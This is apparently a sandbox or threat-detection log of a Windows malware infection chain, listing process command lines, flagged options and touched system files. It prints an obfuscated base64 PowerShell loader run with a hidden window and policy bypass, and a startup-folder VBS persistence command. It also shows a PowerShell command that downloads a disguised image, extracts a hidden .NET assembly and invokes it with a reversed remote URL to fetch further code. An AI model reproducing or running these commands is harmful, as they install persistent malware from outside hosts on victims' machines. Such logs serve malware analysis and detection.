)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\cmd.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe